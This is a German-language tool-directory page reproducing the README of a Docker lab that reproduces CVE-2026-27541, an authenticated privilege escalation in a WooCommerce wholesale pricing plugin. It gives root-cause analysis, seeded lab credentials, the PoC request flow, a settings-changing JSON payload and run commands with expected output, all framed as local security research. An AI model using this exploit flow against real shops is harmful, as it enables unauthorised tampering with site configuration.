Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-27541-Analysis-Lab — # Docker-Lab zur Reproduktion von CVE-2026-27541, einer authentifizierten Privilegieneskalation in WooCommerce Wholesale Prices. Vergleicht verwundbare und gepatchte Builds, enthält PoC-Skript und Root-Cause-Analyse. | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-27541-analysis-lab
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & BildungLabs & Praxis
GitHubrootdirective-sec/cve-2026-27541-analysis-lab

CVE-2026-27541-Analysis-Lab

# Docker-Lab zur Reproduktion von CVE-2026-27541, einer authentifizierten Privilegieneskalation in WooCommerce Wholesale Prices. Vergleicht verwundbare und gepatchte Builds, enthält PoC-Skript und Root-Cause-Analyse.

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-27541 — WooCommerce Wholesale Prices Authentifizierte Privilegienausweitung Labor

vulnx

Überblick

Dieses Projekt ist ein lokales Docker-Labor zur Analyse und Reproduktion des Verhaltens von CVE-2026-27541 im WooCommerce Wholesale Prices / Wholesale Suite-Plugin, indem verwundbare und gepatchte Builds Seite an Seite auf derselben Maschine verglichen werden.

Das Kernproblem ist Broken Access Control im folgenden REST-API-Endpunkt:

root@kitploit:~
/wp-json/wwp/v1/admin/save

Basierend auf dem in diesem Labor verwendeten Quellcode verfügt diese Route in beiden Builds (verwundbar und gepatcht) bereits über einen permission_callback. Die betroffene Version verwendet jedoch eine zu weit gefasste Fähigkeitsprüfung für eine Admin-Einstellungs-Schreibaktion:

  • verwundbar (2.2.6) → current_user_can( 'manage_woocommerce' )
  • gepatcht (2.2.7) → current_user_can( 'manage_options' )
  • In diesem Labor hat der Benutzer shopmgr, der die Rolle shop_manager besitzt, manage_woocommerce=true, aber nicht manage_options. Dadurch kann dieser Benutzer mit geringen Rechten eine gültige angemeldete Sitzung sowie ein gültiges X-WP-Nonce verwenden, um den Admin-Einstellungs-Speicher-Endpunkt im verwundbaren Build aufzurufen, während der gepatchte Build für dieselbe Anfrage 403 rest_forbidden zurückgibt.


    Was dieses Labor beweist

    • Verwundbarer Knoten (2.2.6): Der Benutzer shopmgr kann erfolgreich POST /wp-json/wwp/v1/admin/save aufrufen und Plugin-Einstellungen ändern.
    • Gepatchter Knoten (2.2.7): Dieselbe Anfrage von shopmgr wird mit 403 abgelehnt.
    • Nicht authentifizierte Anfrage: Wenn der Endpunkt direkt ohne Authentifizierung aufgerufen wird, geben beide Builds 403 zurück, was konsistent mit einem Post-Authentifizierungs-Privilegienausweitungsproblem ist.
    • Persistenznachweis: Nach einem erfolgreichen PoC-Lauf speichert der verwundbare Build die WordPress-Option wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC, während der gepatchte Build weiterhin See wholesale prices zurückgibt.

    Labor-Topologie

    Dienste

    • vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6
    • patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7
    • db-vuln / db-patched → separate MariaDB-Datenbanken
    • seed-vuln / seed-patched → wp-cli-Seed-Jobs, die WordPress installieren, das Plugin installieren, Benutzer erstellen und ein Produkt für Tests erstellen

    Veröffentlichte Ports

    • http://localhost:8081 → verwundbar
    • http://localhost:8082 → gepatcht

    Basis-Images

    • WordPress: wordpress:6.8.1-php8.2-apache
    • MariaDB: mariadb:11.4.5
    • Seeder: wordpress:cli-php8.2

    Repository-Struktur

    root@kitploit:~
    .
    ├── docker-compose.yml
    ├── README.md
    ├── patched/
    │   └── Dockerfile
    ├── vuln/
    │   └── Dockerfile
    ├── scripts/
    │   └── seed-wp.sh
    └── poc.py
    

    Wichtige Dateien

    • docker-compose.yml — definiert die verwundbaren und gepatchten Stacks mit separaten Datenbanken
    • scripts/seed-wp.sh — installiert WordPress, WooCommerce, das Ziel-Plugin und erstellt Testbenutzer und Produktdaten
    • poc.py — PoC mit minimalem Schadenspotenzial für Login, Nonce-Extraktion und REST-Endpunkt-Aufruf

    Seed-Umgebung

    Sobald der Stack bereit ist, erstellt das Seed-Skript Folgendes:

    Benutzer

    • admin / AdminPass!234
    • shopmgr / ShopMgrPass!234

    Produkt

    • Slug: lab-product
    • Regulärer Preis: 100
    • Großhandelspreis: 50

    Versionen

    • WooCommerce: 10.6.0

    • WooCommerce Wholesale Prices:

      • verwundbar: 2.2.6
      • gepatcht: 2.2.7

    Das Skript schreibt außerdem lab-secrets.json in jeden WordPress-Container, damit die Seed-Daten und Versionsinformationen überprüft werden können.


    Warum der PoC minimalen Schaden anrichtet

    Dieser PoC versucht nicht, die Website zu übernehmen, Rollen zu ändern, Plugins zu installieren oder eine Shell auszuführen.

    Er führt nur Folgendes aus:

    1. meldet sich als shopmgr an
    2. besucht die relevante Admin-Seite, um wpApiSettings.nonce zu extrahieren
    3. sendet eine Anfrage an den Ziel-Endpunkt
    4. ändert einen leicht beobachtbaren Einstellungswert:
    root@kitploit:~
    wwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
    

    Diese Einstellung wird als beobachtbarer Marker verwendet, um zu demonstrieren, dass ein Benutzer mit geringen Rechten eine nur für Administratoren bestimmte Konfiguration ändern kann.


    Schwachstellen-Zusammenfassung

    Betroffene Komponente

    • Plugin: WooCommerce Wholesale Prices / Wholesale Suite
    • Route: POST /wp-json/wwp/v1/admin/save

    Schwachstellenklasse

    • Broken Access Control
    • Authentifizierte Privilegienausweitung

    Praktische Bedeutung

    Obwohl der Endpunkt eine gültige Sitzung und ein Nonce erfordert, erlaubt die verwundbare Version dennoch einem Benutzer mit geringen Rechten wie shopmgr mit der Rolle shop_manager, einen Endpunkt aufzurufen, der nur für Administratoren gedacht sein sollte.

    Wichtige Nuance

    Dies ist keine nicht authentifizierte Schwachstelle.

    Wenn der Endpunkt direkt ohne angemeldete Sitzung aufgerufen wird, lehnen sowohl der verwundbare als auch der gepatchte Build die Anfrage ab. Der Fehler liegt in der Autorisierung nach der Authentifizierung, nicht in der Authentifizierung selbst.


    Root-Cause-Analyse

    Der verwundbaren Version fehlt kein permission_callback. Der Fehler besteht darin, dass sie eine zu weit gefasste Fähigkeitsprüfung (manage_woocommerce) für eine REST-Aktion verwendet, die Admin-seitige Einstellungen schreibt.

    Aus dem Quellcode in includes/class-wwp-admin-settings.php:

    • sowohl der verwundbare als auch der gepatchte Build registrieren dieselbe Route: POST /wp-json/wwp/v1/admin/save
    • beide Builds leiten sie an save_registered_settings() weiter
    • beide Builds verwenden permission_admin_check() als permission_callback
    • der eigentliche Unterschied ist die geprüfte Fähigkeit

    Verwundbar (2.2.6)

    root@kitploit:~
    if ( ! current_user_can( 'manage_woocommerce' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    Gepatcht (2.2.7)

    root@kitploit:~
    if ( ! current_user_can( 'manage_options' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    In diesem Labor hat der Benutzer shopmgr, der die Rolle shop_manager besitzt, manage_woocommerce=true, aber nicht manage_options, sodass er die verwundbare Prüfung besteht, aber die gepatchte nicht.

    Was sich im gepatchten Verhalten geändert hat

    Die gepatchte Version tut mehr, als nur die Antwort von 200 auf 403 zu ändern. Sie ändert die Zugriffskontrolllogik, indem sie die Fähigkeitsanforderung von manage_woocommerce auf manage_options verschärft.

    Darüber hinaus ist der Speicherpfad im gepatchten Build weiter gehärtet, indem von präfixbasierter Filterung auf explizite Whitelists und stärkere Sanitisierung umgestellt wird.

    Warum der PoC auf der verwundbaren Version erfolgreich ist

    Der PoC folgt demselben Ablauf wie ein realer Browser-Kontext:

    • als shopmgr anmelden
    • die Plugin-Einstellungsseite öffnen
    • wpApiSettings.nonce extrahieren
    • POST /wp-json/wwp/v1/admin/save aufrufen

    Da der verwundbare Build Benutzern mit manage_woocommerce erlaubt, diese Einstellungs-Schreibaktion aufzurufen, ist die Anfrage erfolgreich und führt zu einer persistenten Optionsänderung.

    Sicherheitslektion

    Ein nonce hilft gegen CSRF, ist aber keine Autorisierungskontrolle.

    Eine gültige Sitzung und ein gültiges Nonce zu haben, bedeutet nicht, dass ein Benutzer eine Admin-Aktion ausführen darf. Die Verwendung einer zu weit gefassten Fähigkeit auf einem privilegierten Endpunkt reicht aus, um eine Autorisierungsumgehung mit geringen Rechten zu erzeugen.


    Reproduktion des Labors

    Voraussetzungen

    • Docker Desktop / Docker Engine
    • Docker Compose v2
    • Python 3
    • Internetzugang für den initialen Image- und Plugin-Download

    1) Labor starten

    root@kitploit:~
    docker compose up -d --build
    

    2) Bestätigen, dass die Container laufen

    root@kitploit:~
    docker compose ps
    

    Sie sollten mindestens Folgendes sehen:

    • cve-2026-27541-vuln-1
    • cve-2026-27541-patched-1
    • cve-2026-27541-db-vuln-1
    • cve-2026-27541-db-patched-1

    3) Seed-Logs beobachten

    root@kitploit:~
    docker compose logs -f seed-vuln seed-patched
    

    4) Seed-Metadaten prüfen

    root@kitploit:~
    docker compose exec vuln cat /var/www/html/lab-secrets.json
    docker compose exec patched cat /var/www/html/lab-secrets.json
    

    PoC-Ablauf

    poc.py funktioniert wie folgt:

    1. GET /wp-login.php

    2. POST /wp-login.php zur Herstellung einer authentifizierten Sitzung

    3. die Plugin-Admin-Seite öffnen:

      root@kitploit:~
      /wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
      
    4. wpApiSettings.nonce und die REST-Root aus dem HTML/JavaScript extrahieren

    5. eine Anfrage senden an:

      root@kitploit:~
      /wp-json/wwp/v1/admin/save
      
    6. die Payload übermitteln:

    root@kitploit:~
    [
      {
        "key": "wwp_see_wholesale_prices_replacement_text",
        "value": "PWNED_BY_POC"
      }
    ]
    

    PoC ausführen

    Verwundbarer Knoten

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8081 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    Gepatchter Knoten

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8082 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    Erwartete Ergebnisse

    Verwundbar (8081)

    Erwartete Ausgabe:

    root@kitploit:~
    [+] Base URL: http://localhost:8081
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: b6b6add11b
    [+] REST root: http://localhost:8081/wp-json/
    [+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
    [+] HTTP status: 200
    {"status":"success","message":"Settings saved successfully."}
    [+] PoC SUCCESS (pwnd)
    [*] Verify via incognito (not logged in):
        - Open product page
        - Look for: PWNED_BY_POC
    

    Gepatcht (8082)

    Erwartete Ausgabe:

    root@kitploit:~
    [+] Base URL: http://localhost:8082
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: 5c4ef2ac6f
    [+] REST root: http://localhost:8082/wp-json/
    [+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
    [+] HTTP status: 403
    {"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
    [-] PoC failed
    

    Manuelle Überprüfung

    UI-Überprüfung

    Nachdem der PoC auf dem verwundbaren Knoten erfolgreich war:

    1. abmelden oder ein Inkognito-Fenster öffnen
    2. die Produktseite oder Storefront-Seite öffnen, die den Ersatztext anzeigt
    3. nach Folgendem suchen:
    root@kitploit:~
    PWNED_BY_POC
    

    Sicherheitsauswirkung

    Die praktische Auswirkung dieser Fehlerklasse besteht darin, dass ein Benutzer mit geringen Rechten Konfigurationen ändern kann, die nur für Administratoren gedacht sein sollten, was direkt zu Folgendem führen kann:

    • Inhaltsmanipulation
    • Frontend-Nachrichtenmanipulation
    • Missbrauch der Geschäftslogik

    Dieses Labor verwendet absichtlich eine sichere und beobachtbare Payload, um Rollenänderungen oder jede Eskalation über das hinaus zu vermeiden, was zum Nachweis der Schwachstellenbedingung erforderlich ist.


    Bereinigung

    root@kitploit:~
    docker compose down -v
    

    Sicherheitshinweise

    • Nur für lokale Laborzwecke
    • Alle Dienste sind nur an localhost gebunden
    • Der PoC ist absichtlich mit minimalem Schadenspotenzial und verwendet einen harmlosen beobachtbaren Wert
    • Passen Sie diesen PoC nicht für den Einsatz gegen Systeme an, die Sie nicht besitzen oder für die Sie keine Testberechtigung haben

    Referenzen

    • CVE Record — CVE-2026-27541
    • Wordfence — Wholesale Suite <= 2.2.6 - Authenticated (Shop Manager) Privilege Escalation
    • WordPress.org Plugin Page — Wholesale Suite – B2B, Dynamic Pricing & WooCommerce Wholesale Prices

    TL;DR

    Dieses Labor zeigt, dass CVE-2026-27541 eine authentifizierte Autorisierungsumgehung mit geringen Rechten im REST-API-Einstellungsendpunkt des Plugins ist. Der Fehler in Version 2.2.6 ist nicht das Fehlen einer Berechtigungsprüfung, sondern die Verwendung einer zu weit gefassten Fähigkeit (manage_woocommerce) für eine Aktion, die auf der Ebene manage_options eingeschränkt sein sollte.

    In dieser lokalen Umgebung:

    • besteht shopmgr die verwundbare Prüfung und kann Admin-seitige Einstellungen erfolgreich über POST /wp-json/wwp/v1/admin/save ändern
    • wird dieselbe Anfrage auf 2.2.7 blockiert
    • speichert der verwundbare Build PWNED_BY_POC in der Zieloption, während der gepatchte Build dies nicht tut

    Als Ergebnis dient dieses Repository sowohl als Verhaltensnachweis als auch als codegestützter Nachweis des Unterschieds zwischen verwundbar und gepatcht in einer vollständig kontrollierten lokalen Umgebung.

    Tool herunterladen